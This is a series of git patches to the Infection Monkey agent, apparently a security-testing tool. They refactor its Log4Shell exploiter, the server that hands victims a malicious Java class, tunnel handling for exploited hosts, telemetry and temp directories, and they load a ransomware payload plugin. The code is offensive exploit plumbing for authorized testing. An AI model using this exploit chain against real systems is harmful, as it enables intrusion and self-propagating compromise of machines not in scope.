a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index eaa6e0d90..db0ba58c7 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -200,10 +200,10 @@ class InfectionMonkey: puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER) - agent_repoitory = CachingAgentRepository( + agent_repository = CachingAgentRepository( f"https://{self._default_server}", ControlClient.proxies ) - exploit_wrapper = ExploiterWrapper(self.telemetry_messenger, agent_repoitory) + exploit_wrapper = ExploiterWrapper(self.telemetry_messenger, agent_repository) puppet.load_plugin( "SSHExploiter", From 36e01ae472c6ded1bdd0f682c9fc227832dba03c Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 28 Feb 2022 14:16:52 +0530 Subject: [PATCH 0612/1110] Agent: Return ExploiterResultData from Log4ShellExploiter's _exploit_host() --- monkey/infection_monkey/exploit/log4shell.py | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index de2d2ace2..b917099e7 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -24,6 +24,7 @@ from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.tools import get_interface_to_target from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.monkey_dir import get_monkey_dir_path +from monkey.infection_monkey.i_puppet.i_puppet import ExploiterResultData logger = logging.getLogger(__name__) @@ -52,14 +53,15 @@ class Log4ShellExploiter(WebRCE): int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) ] - def _exploit_host(self): + def _exploit_host(self) -> ExploiterResultData: if not self._open_ports: logger.info("Could not find any open web ports to exploit") - return False + return self.exploit_result self._start_servers() try: - return self.exploit(None, None) + self.exploit(None, None) + return self.exploit_result finally: self._stop_servers() @@ -137,7 +139,7 @@ class Log4ShellExploiter(WebRCE): else: return build_exploit_bytecode(exploit_command, WINDOWS_EXPLOIT_TEMPLATE_PATH) - def exploit(self, url, command) -> bool: + def exploit(self, url, command) -> None: # Try to exploit all services, # because we don't know which services are running and on which ports for exploit in get_log4shell_service_exploiters(): @@ -156,9 +158,8 @@ class Log4ShellExploiter(WebRCE): "port": port, } self.exploit_info["vulnerable_urls"].append(url) - return True - - return False + self.exploit_result.exploitation_success = True + self.exploit_result.propagation_success = True def _wait_for_victim(self) -> bool: victim_called_back = False From 896bcfebea07c44cdaa08e7dbaf8c8c4313a7510 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 28 Feb 2022 14:26:12 +0530 Subject: [PATCH 0613/1110] Agent: Load Log4ShellExploiter into puppet --- monkey/infection_monkey/monkey.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index db0ba58c7..7ca8889aa 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -46,6 +46,7 @@ from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.monkey_dir import get_monkey_dir_path, remove_monkey_dir from infection_monkey.utils.monkey_log_path import get_monkey_log_path from infection_monkey.utils.signal_handler import register_signal_handlers, reset_signal_handlers +from monkey.infection_monkey.exploit.log4shell import Log4ShellExploiter logger = logging.getLogger(__name__) @@ -213,6 +214,9 @@ class InfectionMonkey: puppet.load_plugin( "HadoopExploiter", exploit_wrapper.wrap(HadoopExploiter), PluginType.EXPLOITER ) + puppet.load_plugin( + "Log4ShellExploiter", exploit_wrapper.wrap(Log4ShellExploiter), PluginType.EXPLOITER + ) puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) From 3cd3d661bff298cfe729c50cc31323f3a4c3bbb8 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 2 Mar 2022 15:35:06 +0530 Subject: [PATCH 0614/1110] Agent: Create HTTP handler class dynamically for ExploitClassHTTPServer --- .../exploit_class_http_server.py | 58 +++++++++---------- 1 file changed, 28 insertions(+), 30 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py index 612bda270..5fc6521bd 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -7,38 +7,36 @@ logger = logging.getLogger(__name__) HTTP_TOO_MANY_REQUESTS_ERROR_CODE = 429 -# If we need to run multiple HTTP servers in parallel, we'll need to either: -# 1. Use multiprocessing so that each HTTPHandler class has its own class_downloaded variable -# 2. Create a metaclass and define the handler class dymanically at runtime -class HTTPHandler(http.server.BaseHTTPRequestHandler): +def do_GET(self): + with self.download_lock: + if self.class_downloaded.is_set(): + self.send_error( + HTTP_TOO_MANY_REQUESTS_ERROR_CODE, + "Java exploit class has already been downloaded", + ) + return - java_class: bytes - class_downloaded: threading.Event - download_lock: threading.Lock + self.class_downloaded.set() - @classmethod - def initialize(cls, java_class: bytes, class_downloaded: threading.Event): - cls.java_class = java_class - cls.class_downloaded = class_downloaded - cls.download_lock = threading.Lock() + logger.info("Java class server received a GET request!") + self.send_response(200) + self.send_header("Content-type", "application/octet-stream") + self.end_headers() + logger.info("Sending the payload class!") + self.wfile.write(self.java_class) - def do_GET(self): - with HTTPHandler.download_lock: - if HTTPHandler.class_downloaded.is_set(): - self.send_error( - HTTP_TOO_MANY_REQUESTS_ERROR_CODE, - "Java exploit class has already been downloaded", - ) - return - HTTPHandler.class_downloaded.set() - - logger.info("Java class server received a GET request!") - self.send_response(200) - self.send_header("Content-type", "application/octet-stream") - self.end_headers() - logger.info("Sending the payload class!") - self.wfile.write(self.java_class) +def get_new_http_handler_class(java_class: bytes, class_downloaded: threading.Event): + return type( + "http_handler_class", + (http.server.BaseHTTPRequestHandler,), + { + "java_class": java_class, + "class_downloaded": class_downloaded, + "download_lock": threading.Lock(), + "do_GET": do_GET, + }, + ) class ExploitClassHTTPServer: @@ -62,9 +60,9 @@ class ExploitClassHTTPServer: self._class_downloaded = threading.Event() self._poll_interval = poll_interval - HTTPHandler.initialize(java_class, self._class_downloaded) + http_handler_class = get_new_http_handler_class(java_class, self._class_downloaded) - self._server = http.server.HTTPServer((ip, port), HTTPHandler) + self._server = http.server.HTTPServer((ip, port), http_handler_class) # Setting `daemon=True` to save ourselves some trouble when this is merged to the # agent-refactor branch. # TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()` From 7739094cfd24549a13a0de9ceefff8b3def2b389 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 2 Mar 2022 16:36:15 +0530 Subject: [PATCH 0615/1110] UT: Fix test function name's spelling --- .../exploit/log4shell_utils/test_exploit_class_http_server.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py index b22ef41da..9bb21c5cb 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py @@ -46,7 +46,7 @@ def test_only_single_download_allowed(exploit_url, java_class): assert response_2.content != java_class -def test_exploit_class_downloded(server, exploit_url): +def test_exploit_class_downloaded(server, exploit_url): assert not server.exploit_class_downloaded() requests.get(exploit_url) From 1ca9a21d43e2fecd2e2d6e34be13d4531c98b804 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 2 Mar 2022 16:45:48 +0530 Subject: [PATCH 0616/1110] UT: Add test for thread-safety of ExploitClassHTTPServer --- .../test_exploit_class_http_server.py | 20 +++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py index 9bb21c5cb..3675a7d53 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py @@ -30,6 +30,16 @@ def server(ip, port, java_class): server.stop() +@pytest.fixture +def second_server(ip, java_class): + server = ExploitClassHTTPServer(ip, get_free_tcp_port(), java_class, 0.01) + server.run() + + yield server + + server.stop() + + @pytest.fixture def exploit_url(ip, port): return f"http://{ip}:{port}/Exploit" @@ -52,3 +62,13 @@ def test_exploit_class_downloaded(server, exploit_url): requests.get(exploit_url) assert server.exploit_class_downloaded() + + +def test_thread_safety(server, second_server, exploit_url): + assert not server.exploit_class_downloaded() + assert not second_server.exploit_class_downloaded() + + requests.get(exploit_url) + + assert server.exploit_class_downloaded() + assert not second_server.exploit_class_downloaded() From 47062071ac9056590701127d0a1ecd014a084a29 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Mar 2022 09:41:01 -0500 Subject: [PATCH 0617/1110] Agent: Add logic to MonkeyTunnel to wait for exploited victims --- monkey/infection_monkey/control.py | 7 ++++++- monkey/infection_monkey/tunnel.py | 25 +++++++++++++++++++++++-- 2 files changed, 29 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 90a7b6078..d11de18fc 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -292,7 +292,12 @@ class ControlClient(object): proxy_class = HTTPConnectProxy target_addr, target_port = None, None - return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port) + return tunnel.MonkeyTunnel( + proxy_class, + keep_tunnel_open_time=WormConfiguration.keep_tunnel_open_time, + target_addr=target_addr, + target_port=target_port, + ) @staticmethod def get_pba_file(filename): diff --git a/monkey/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py index 4aa90e80f..a78d2bf45 100644 --- a/monkey/infection_monkey/tunnel.py +++ b/monkey/infection_monkey/tunnel.py @@ -2,7 +2,7 @@ import logging import socket import struct import time -from threading import Thread +from threading import Event, Thread from infection_monkey.network.firewall import app as firewall from infection_monkey.network.info import get_free_tcp_port, local_ips @@ -109,10 +109,18 @@ def quit_tunnel(address, timeout=DEFAULT_TIMEOUT): class MonkeyTunnel(Thread): - def __init__(self, proxy_class, target_addr=None, target_port=None, timeout=DEFAULT_TIMEOUT): + def __init__( + self, + proxy_class, + keep_tunnel_open_time, + target_addr=None, + target_port=None, + timeout=DEFAULT_TIMEOUT, + ): self._target_addr = target_addr self._target_port = target_port self._proxy_class = proxy_class + self._keep_tunnel_open_time = keep_tunnel_open_time self._broad_sock = None self._timeout = timeout self._stopped = False @@ -121,6 +129,7 @@ class MonkeyTunnel(Thread): super(MonkeyTunnel, self).__init__() self.daemon = True self.l_ips = None + self._wait_for_exploited_machines = Event() def run(self): self._broad_sock = _set_multicast_socket(self._timeout) @@ -195,5 +204,17 @@ class MonkeyTunnel(Thread): ip_match = get_interface_to_target(ip) return "%s:%d" % (ip_match, self.local_port) + def set_wait_for_exploited_machines(self): + self._wait_for_exploited_machines.set() + def stop(self): + self._wait_for_exploited_machine_connection() self._stopped = True + + def _wait_for_exploited_machine_connection(self): + if self._wait_for_exploited_machines.is_set(): + logger.info( + f"Waiting {self._keep_tunnel_open_time} seconds for exploited machines to connect " + "to the tunnel." + ) + time.sleep(self._keep_tunnel_open_time) From 393043545afc3ea1ae63224ab2960c00350fd341 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Mar 2022 09:42:32 -0500 Subject: [PATCH 0618/1110] Agent: Use Threading.Event instead of bool for MonkeyTunnel._stopped --- monkey/infection_monkey/tunnel.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py index a78d2bf45..769260d6b 100644 --- a/monkey/infection_monkey/tunnel.py +++ b/monkey/infection_monkey/tunnel.py @@ -123,7 +123,7 @@ class MonkeyTunnel(Thread): self._keep_tunnel_open_time = keep_tunnel_open_time self._broad_sock = None self._timeout = timeout - self._stopped = False + self._stopped = Event() self._clients = [] self.local_port = None super(MonkeyTunnel, self).__init__() @@ -155,7 +155,7 @@ class MonkeyTunnel(Thread): ) proxy.start() - while not self._stopped: + while not self._stopped.is_set(): try: search, address = self._broad_sock.recvfrom(BUFFER_READ) if b"?" == search: @@ -209,7 +209,7 @@ class MonkeyTunnel(Thread): def stop(self): self._wait_for_exploited_machine_connection() - self._stopped = True + self._stopped.set() def _wait_for_exploited_machine_connection(self): if self._wait_for_exploited_machines.is_set(): From aba0446e61e17b1c52d81febd5dba938aab29f38 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Mar 2022 09:43:14 -0500 Subject: [PATCH 0619/1110] Agent: Add telemetry messenger to report exploited machines to tunnel --- ...xploit_intercepting_telemetry_messenger.py | 30 ++++++++++ ...xploit_intercepting_telemetry_messenger.py | 55 +++++++++++++++++++ 2 files changed, 85 insertions(+) create mode 100644 monkey/infection_monkey/telemetry/messengers/exploit_intercepting_telemetry_messenger.py create mode 100644 monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_exploit_intercepting_telemetry_messenger.py diff --git a/monkey/infection_monkey/telemetry/messengers/exploit_intercepting_telemetry_messenger.py b/monkey/infection_monkey/telemetry/messengers/exploit_intercepting_telemetry_messenger.py new file mode 100644 index 000000000..3b92235fb --- /dev/null +++ b/monkey/infection_monkey/telemetry/messengers/exploit_intercepting_telemetry_messenger.py @@ -0,0 +1,30 @@ +from functools import singledispatch + +from infection_monkey.telemetry.i_telem import ITelem +from infection_monkey.telemetry.exploit_telem import ExploitTelem +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger +from infection_monkey.tunnel import MonkeyTunnel + + +class ExploitInterceptingTelemetryMessenger(ITelemetryMessenger): + def __init__(self, telemetry_messenger: ITelemetryMessenger, tunnel: MonkeyTunnel): + self._telemetry_messenger = telemetry_messenger + self._tunnel = tunnel + + def send_telemetry(self, telemetry: ITelem): + _send_telemetry(telemetry, self._telemetry_messenger, self._tunnel) + + +# Note: We can use @singledispatchmethod instead of @singledispatch if we migrate to Python 3.8 or +# later. +@singledispatch +def _send_telemetry( + telemetry: ITelem, telemetry_messenger: ITelemetryMessenger, tunnel: MonkeyTunnel +): + telemetry_messenger.send_telemetry(telemetry) + + +@_send_telemetry.register +def _(telemetry: ExploitTelem, telemetry_messenger: ITelemetryMessenger, tunnel: MonkeyTunnel): + tunnel.set_wait_for_exploited_machines() + telemetry_messenger.send_telemetry(telemetry) diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_exploit_intercepting_telemetry_messenger.py b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_exploit_intercepting_telemetry_messenger.py new file mode 100644 index 000000000..c6b85df3e --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_exploit_intercepting_telemetry_messenger.py @@ -0,0 +1,55 @@ +from unittest.mock import MagicMock + +from infection_monkey.telemetry.base_telem import BaseTelem +from infection_monkey.telemetry.exploit_telem import ExploitTelem +from infection_monkey.telemetry.i_telem import ITelem +from infection_monkey.telemetry.messengers.exploit_intercepting_telemetry_messenger import ( + ExploitInterceptingTelemetryMessenger, +) + + +class TestTelem(BaseTelem): + telem_category = None + + def __init__(self): + pass + + def get_data(self): + return {} + + +class MockExpliotTelem(ExploitTelem): + def __init__(self): + pass + + def get_data(self): + return {} + + +def test_generic_telemetry(): + mock_telemetry_messenger = MagicMock() + mock_tunnel = MagicMock() + + telemetry_messenger = ExploitInterceptingTelemetryMessenger( + mock_telemetry_messenger, mock_tunnel + ) + + telemetry_messenger.send_telemetry(TestTelem()) + + assert mock_telemetry_messenger.send_telemetry.called + assert not mock_tunnel.set_wait_for_exploited_machines.called + + +def test_expliot_telemetry(): + mock_telemetry_messenger = MagicMock() + mock_tunnel = MagicMock() + mock_expliot_telem = MockExpliotTelem() + + telemetry_messenger = ExploitInterceptingTelemetryMessenger( + mock_telemetry_messenger, mock_tunnel + ) + + telemetry_messenger.send_telemetry(mock_expliot_telem) + + assert mock_telemetry_messenger.send_telemetry.called + assert mock_tunnel.set_wait_for_exploited_machines.called From 84cb14e1c50c7e9d876dd17eab9b2cbac53be9f0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Mar 2022 09:44:12 -0500 Subject: [PATCH 0620/1110] Agent: Pass ExploitInterceptingTelemetryMessenger to Master --- monkey/infection_monkey/monkey.py | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index db0ba58c7..bd11a38c4 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -36,6 +36,9 @@ from infection_monkey.puppet.puppet import Puppet from infection_monkey.system_singleton import SystemSingleton from infection_monkey.telemetry.attack.t1106_telem import T1106Telem from infection_monkey.telemetry.attack.t1107_telem import T1107Telem +from infection_monkey.telemetry.messengers.exploit_intercepting_telemetry_messenger import ( + ExploitInterceptingTelemetryMessenger, +) from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import ( LegacyTelemetryMessengerAdapter, ) @@ -164,9 +167,13 @@ class InfectionMonkey: victim_host_factory = self._build_victim_host_factory(local_network_interfaces) + telemetry_messenger = ExploitInterceptingTelemetryMessenger( + self.telemetry_messenger, self._monkey_inbound_tunnel + ) + self._master = AutomatedMaster( puppet, - self.telemetry_messenger, + telemetry_messenger, victim_host_factory, ControlChannel(self._default_server, GUID), local_network_interfaces, From 63ed001a3ef1c5e94a2713726351f55d554107b8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Mar 2022 10:07:12 -0500 Subject: [PATCH 0621/1110] Agent: Remove disused _wait_for_exploited_machine_connection() --- monkey/infection_monkey/monkey.py | 15 --------------- 1 file changed, 15 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index bd11a38c4..cb1c47f6d 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -3,7 +3,6 @@ import logging import os import subprocess import sys -import time from typing import List import infection_monkey.tunnel as tunnel @@ -244,7 +243,6 @@ class InfectionMonkey: def cleanup(self): logger.info("Monkey cleanup started") - self._wait_for_exploited_machine_connection() try: if self._master: self._master.cleanup() @@ -277,19 +275,6 @@ class InfectionMonkey: logger.info("Monkey is shutting down") - def _wait_for_exploited_machine_connection(self): - # TODO check for actual exploitation - machines_exploited = False - # if host was exploited, before continue to closing the tunnel ensure the exploited - # host had its chance to - # connect to the tunnel - if machines_exploited: - time_to_sleep = WormConfiguration.keep_tunnel_open_time - logger.info( - "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep - ) - time.sleep(time_to_sleep) - @staticmethod def _close_tunnel(): tunnel_address = ( From c9329b35b9022c28ee264f58dc43f7a45d213b1e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Mar 2022 12:11:32 -0500 Subject: [PATCH 0622/1110] Agent: Add missing __init__.py to telemetry/messengers/ --- monkey/infection_monkey/telemetry/messengers/__init__.py | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 monkey/infection_monkey/telemetry/messengers/__init__.py diff --git a/monkey/infection_monkey/telemetry/messengers/__init__.py b/monkey/infection_monkey/telemetry/messengers/__init__.py new file mode 100644 index 000000000..e69de29bb From 8a6a820d1462fe09bddd218ae17ca8311c28bead Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Mar 2022 14:12:52 -0500 Subject: [PATCH 0623/1110] Agent: Use a random, secure /tmp directory for "monkey_dir" --- monkey/infection_monkey/utils/monkey_dir.py | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/utils/monkey_dir.py b/monkey/infection_monkey/utils/monkey_dir.py index c705c233f..7f74f9158 100644 --- a/monkey/infection_monkey/utils/monkey_dir.py +++ b/monkey/infection_monkey/utils/monkey_dir.py @@ -1,16 +1,20 @@ -import os import shutil import tempfile -MONKEY_DIR_NAME = "monkey_dir" +MONKEY_DIR_PREFIX = "monkey_dir_" +_monkey_dir = None +# TODO: Check if we even need this. Individual plugins can just use tempfile.mkdtemp() or +# tempfile.mkftemp() if they need to. def create_monkey_dir(): """ Creates directory for monkey and related files """ - if not os.path.exists(get_monkey_dir_path()): - os.mkdir(get_monkey_dir_path()) + global _monkey_dir + + _monkey_dir = tempfile.mkdtemp(prefix=MONKEY_DIR_PREFIX, dir=tempfile.gettempdir()) + return _monkey_dir def remove_monkey_dir(): @@ -26,4 +30,4 @@ def remove_monkey_dir(): def get_monkey_dir_path(): - return os.path.join(tempfile.gettempdir(), MONKEY_DIR_NAME) + return _monkey_dir From 7e957e53102c7728cbafc0dbb2bbe5c5e9fec8ba Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Mar 2022 14:22:34 -0500 Subject: [PATCH 0624/1110] Agent: Create temporary monkey directory in monkey.py --- monkey/infection_monkey/monkey.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 7ca8889aa..868972ad2 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -18,6 +18,7 @@ from infection_monkey.credential_collectors import ( ) from infection_monkey.exploit import CachingAgentRepository, ExploiterWrapper from infection_monkey.exploit.hadoop import HadoopExploiter +from infection_monkey.exploit.log4shell import Log4ShellExploiter from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.i_puppet import IPuppet, PluginType from infection_monkey.master import AutomatedMaster @@ -43,10 +44,13 @@ from infection_monkey.telemetry.state_telem import StateTelem from infection_monkey.telemetry.tunnel_telem import TunnelTelem from infection_monkey.utils.aws_environment_check import run_aws_environment_check from infection_monkey.utils.environment import is_windows_os -from infection_monkey.utils.monkey_dir import get_monkey_dir_path, remove_monkey_dir +from infection_monkey.utils.monkey_dir import ( + create_monkey_dir, + get_monkey_dir_path, + remove_monkey_dir, +) from infection_monkey.utils.monkey_log_path import get_monkey_log_path from infection_monkey.utils.signal_handler import register_signal_handlers, reset_signal_handlers -from monkey.infection_monkey.exploit.log4shell import Log4ShellExploiter logger = logging.getLogger(__name__) @@ -145,6 +149,8 @@ class InfectionMonkey: def _setup(self): logger.debug("Starting the setup phase.") + create_monkey_dir() + if firewall.is_enabled(): firewall.add_firewall_rule() From 031cafbe120456328f803456a4180004b8701709 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Mar 2022 14:23:34 -0500 Subject: [PATCH 0625/1110] Agent: Refactor Log4ShellExploiter to work with Puppet --- monkey/infection_monkey/exploit/log4shell.py | 58 +++++++++----------- 1 file changed, 26 insertions(+), 32 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index b917099e7..bfc0b4b46 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -13,18 +13,13 @@ from infection_monkey.exploit.log4shell_utils import ( from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE +from infection_monkey.i_puppet.i_puppet import ExploiterResultData from infection_monkey.model import DOWNLOAD_TIMEOUT as AGENT_DOWNLOAD_TIMEOUT -from infection_monkey.model import ( - DROPPER_ARG, - LOG4SHELL_LINUX_COMMAND, - LOG4SHELL_WINDOWS_COMMAND, - VictimHost, -) +from infection_monkey.model import DROPPER_ARG, LOG4SHELL_LINUX_COMMAND, LOG4SHELL_WINDOWS_COMMAND from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.tools import get_interface_to_target from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.monkey_dir import get_monkey_dir_path -from monkey.infection_monkey.i_puppet.i_puppet import ExploiterResultData logger = logging.getLogger(__name__) @@ -38,9 +33,24 @@ class Log4ShellExploiter(WebRCE): 5 # Max time agent will wait for the response from victim in SECONDS ) - def __init__(self, host: VictimHost): - super().__init__(host) + def _exploit_host(self) -> ExploiterResultData: + self._open_ports = [ + int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) + ] + if not self._open_ports: + logger.info("Could not find any open web ports to exploit") + return self.exploit_result + + self._configure_servers() + self._start_servers() + try: + self.exploit(None, None) + return self.exploit_result + finally: + self._stop_servers() + + def _configure_servers(self): self._ldap_port = get_free_tcp_port() self._class_http_server_ip = get_interface_to_target(self.host.ip_addr) @@ -49,29 +59,15 @@ class Log4ShellExploiter(WebRCE): self._ldap_server = None self._exploit_class_http_server = None self._agent_http_server_thread = None - self._open_ports = [ - int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) - ] - - def _exploit_host(self) -> ExploiterResultData: - if not self._open_ports: - logger.info("Could not find any open web ports to exploit") - return self.exploit_result - - self._start_servers() - try: - self.exploit(None, None) - return self.exploit_result - finally: - self._stop_servers() def _start_servers(self): + dropper_target_path = self.monkey_target_paths[self.host.os["type"]] + # Start http server, to serve agent to victims - paths = self.get_monkey_paths() - agent_http_path = self._start_agent_http_server(paths) + agent_http_path = self._start_agent_http_server(dropper_target_path) # Build agent execution command - command = self._build_command(paths["dest_path"], agent_http_path) + command = self._build_command(dropper_target_path, agent_http_path) # Start http server to serve malicious java class to victim self._start_class_http_server(command) @@ -79,10 +75,10 @@ class Log4ShellExploiter(WebRCE): # Start ldap server to redirect ldap query to java class server self._start_ldap_server() - def _start_agent_http_server(self, agent_paths: dict) -> str: + def _start_agent_http_server(self, dropper_target_path) -> str: # Create server for http download and wait for it's startup. http_path, http_thread = HTTPTools.try_create_locked_transfer( - self.host, agent_paths["src_path"] + self.host, dropper_target_path, self.agent_repository ) self._agent_http_server_thread = http_thread return http_path @@ -118,9 +114,7 @@ class Log4ShellExploiter(WebRCE): def _build_command(self, path, http_path) -> str: # Build command to execute - monkey_cmd = build_monkey_commandline( - self.host, get_monkey_depth() - 1, vulnerable_port=None, location=path - ) + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, location=path) if "linux" in self.host.os["type"]: base_command = LOG4SHELL_LINUX_COMMAND else: From 454b038948fc39180340205ca5bd9ea3cd404a6b Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Thu, 3 Mar 2022 09:25:56 +0000 Subject: [PATCH 0626/1110] Monkey: fix a bug where incorrect windows type string results in key error in pre_exploit() --- monkey/infection_monkey/exploit/web_rce.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 4473a24f5..8ef23acc0 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -116,7 +116,7 @@ class WebRCE(HostExploiter): if not self.monkey_target_paths: self.monkey_target_paths = { "linux": self.options["dropper_target_path_linux"], - "win64": self.options["dropper_target_path_win_64"], + "windows": self.options["dropper_target_path_win_64"], } self.HTTP = [str(port) for port in self.options["http_ports"]] super().pre_exploit() From 08aac019d8c26cb3b40c2102eda3c97a8953ec7d Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Thu, 3 Mar 2022 14:08:25 +0000 Subject: [PATCH 0627/1110] Agent: Fix false negatives in HTTPFingerprinter --- .../network_scanning/http_fingerprinter.py | 39 +++++++++++-------- .../test_http_fingerprinter.py | 14 ++++--- 2 files changed, 30 insertions(+), 23 deletions(-) diff --git a/monkey/infection_monkey/network_scanning/http_fingerprinter.py b/monkey/infection_monkey/network_scanning/http_fingerprinter.py index 8ececc72a..f5dcfac64 100644 --- a/monkey/infection_monkey/network_scanning/http_fingerprinter.py +++ b/monkey/infection_monkey/network_scanning/http_fingerprinter.py @@ -1,8 +1,8 @@ import logging from contextlib import closing -from typing import Dict, Iterable, Optional, Set, Tuple +from typing import Dict, Iterable, Optional, Set, Tuple, Any -from requests import head +from requests import head, Response from requests.exceptions import ConnectionError, Timeout from infection_monkey.i_puppet import ( @@ -25,11 +25,11 @@ class HTTPFingerprinter(IFingerprinter): """ def get_host_fingerprint( - self, - host: str, - _: PingScanData, - port_scan_data: Dict[int, PortScanData], - options: Dict, + self, + host: str, + _: PingScanData, + port_scan_data: Dict[int, PortScanData], + options: Dict, ) -> FingerprintData: services = {} http_ports = set(options.get("http_ports", [])) @@ -55,22 +55,27 @@ def _query_potential_http_server(host: str, port: int) -> Tuple[Optional[str], O https = f"https://{host}:{port}" for url, ssl in ((https, True), (http, False)): # start with https and downgrade - server_header_contents = _get_server_from_headers(url) + server_header = _get_server_from_headers(url) - if server_header_contents is not None: - return (server_header_contents, ssl) + if server_header is not None: + return server_header, ssl - return (None, None) + return None, None def _get_server_from_headers(url: str) -> Optional[str]: + headers = _get_http_headers(url) + if headers: + return headers.get("Server", "") + + return None + + +def _get_http_headers(url: str) -> Optional[Dict[str, Any]]: try: logger.debug(f"Sending request for headers to {url}") - with closing(head(url, verify=False, timeout=1)) as req: # noqa: DUO123 - server = req.headers.get("Server") - - logger.debug(f'Got server string "{server}" from {url}') - return server + with 